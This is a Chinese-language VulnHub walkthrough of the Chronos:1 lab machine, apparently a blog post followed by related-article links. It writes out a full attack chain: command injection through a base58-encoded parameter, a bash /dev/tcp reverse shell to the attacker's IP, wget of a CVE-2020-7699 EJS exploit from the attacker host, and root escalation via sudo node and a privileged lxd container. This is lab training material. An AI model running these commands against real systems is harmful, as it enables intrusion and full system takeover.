vulnhub靶场之Chronos:1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Chronos,下载地址:https://download.vulnhub.com/chronos/Chronos.ova,下载后直接vbox打开即可。
知识点:lxd提权、node提权、dns解析、命令执行漏洞、base58解密、CVE-2020-7699漏洞。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.1.82。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.82,显示开放了22、80、8000端口,开启了ssh、http服务。

使用dirmap、dirsearch进行目录扫描,均未发现有效的目录信息。

DNS解析:
在检查:http://192.168.110.82/的源代码信息时,发现一个链接:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,观察到:chronos.local,就想到要进行dns解析。win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.110.82 chronos.local,但是访问还是显示被禁止。

bp抓包分析:
使用bp抓包访问:http://192.168.110.82/,发现在访问http://chronos.local:8000/date时,其User-Agent被修改成立Chronos,经验证这就是上面被禁止的原因。

后面直接访问:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL进行抓包并修改User-Agent为:Chronos,可以正常访问。

命令执行:
传递的加密字符串疑是base64加密,但是经过base64、base32解密均失败,最后base58解密成功,解密后信息:'+Today is %A, %B %d, %Y %H:%M:%S.',根据解密后的信息猜测应该是执行的date命令。

那我们利用&、;、|等符号来执行我们自己的命令,例如:;ls,base58加密后:Lxfc,获得当前目录信息

获取shell:
利用命令执行漏洞获取shell权限,通过执行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'来获取shell权限,base58加密后:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限。


提权至imera:
在当前用户目录下进行信息查找,经过一番查找在/opt/chronos-v2/backend目录下面发现靶机上开启了第二个服务并且该服务中疑是存在文件上传漏洞。

在网上查找时发现该漏洞编号为:CVE-2020-7699,那就查找下该漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等网站均可以。

将py代码下载复制下来保存到kali中,然后使用python开启http服务:python -m http.server,在把靶机中下载该文件,命令:wget http://192.168.110.234:8000/express-fileupload.py。

在kali中开启对8899端口的监听:nc -nvlp 8899,然后在靶机中执行express-fileupload.py文件,命令:python3 express-fileupload.py,成功获得imera账户的shell权限,如果未获得权限多执行几次,测试两次均是执行 三次才获得imera的shell权限。

在/home/imera账户下发现user.txt文件并读取flag信息。

提权至root-node提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在npm命令和node命令。

查找下node命令的提权方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可获得root权限,然后在/root目录下发现root.txt文件并读取flag值。


提权至root-lxd提权:
在获得imera账户权限的时候,我们发现该账户具有lxd权限,那也可以采用lxd提权方式进行提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限。
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

补充:
在使用npm进行提权时是提权失败的。

vulnhub靶场之Chronos:1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Windows DNS服务器的子网掩码排序
对于跨多个站点部署的应用服务,会在各个站点都有服务器,并且对应不同的IP地址.我们希望每个客户端访问就近的资源.这个时候可以启用Windows DNS服务器中的子网掩码排序(子网优先)netmask ...
- Docker与Containerd使用区别
文章转载自:https://cloud.tencent.com/developer/article/1984040 Kubernetes 在 1.24 版本里弃用并移除 docker shim,这导致 ...
- 云原生分布式文件存储 MinIO 教程
文章转载自:https://mp.weixin.qq.com/s/_52kZ5jil1Cec98P5oozoA MinIO 提供开源.高性能.兼容 s3 的对象存储,为每个公共云.每个 Kuberne ...
- 使用 systemd 定时器代替 cron 作业
转载自:https://mp.weixin.qq.com/s/HpDVp1sNYve8b7OdoHdGNw 创建一个定时器 首先,创建一个运行基础东西的简单的服务,例如 free 命令.举个例子,你可 ...
- Asp-Net-Core开发笔记:集成Hangfire实现异步任务队列和定时任务
前言 最近把Python写的数据采集平台往.Net Core上迁移,原本的采集任务使用多进程+线程池的方式来加快采集速度,使用Celery作为异步任务队列兼具定时任务功能,这套东西用着还行,但反正就折 ...
- PHP全栈开发(八):CSS Ⅷ border margin padding
在CSS里面,所有的HTML元素都可以看成是一个盒子. 那么在设计和布局的时候,最常用的,也就是用来定义这个盒子的外边距的就是margin 定义这个盒子的内边距的就是padding 元素的内容所占的宽 ...
- 220726 T2 Multisets (思维)
题目描述 我们说一个可重集 AA 比可重集 BB 小,当且仅当对于两个可重集中出现次数不同的最小元素 xx ,元素 xx 在 AA 中出现次数更多. 例如,可重集 {1,2,3}1,2,3 就比可重集 ...
- 如何优雅的备份MySQL数据?看这篇文章就够了
大家好,我是一灯,今天一块学习一下如何优雅安全的备份MySQL数据? 1. 为什么要备份数据 先说一下为什么需要备份MySQL数据? 一句话总结就是:为了保证数据的安全性. 如果我们把数据只存储在一个 ...
- Mysql编程中遇到的小错误
我在mysql中创建的数据库表语句为如下 create table grade (id int not null, name varchar(255), desc varchar(255), prim ...
- Linux学习记录---(1、基本命令)
文章目录 1 .基本命令 1.1.查看当前文件夹下的文件 1.2.进入某一个文件夹 1.3.一次进入多个文件夹 1.4.返回上一级 1.5.直接进入根目录 1.6.创建一个目录 2.Redis中的相关 ...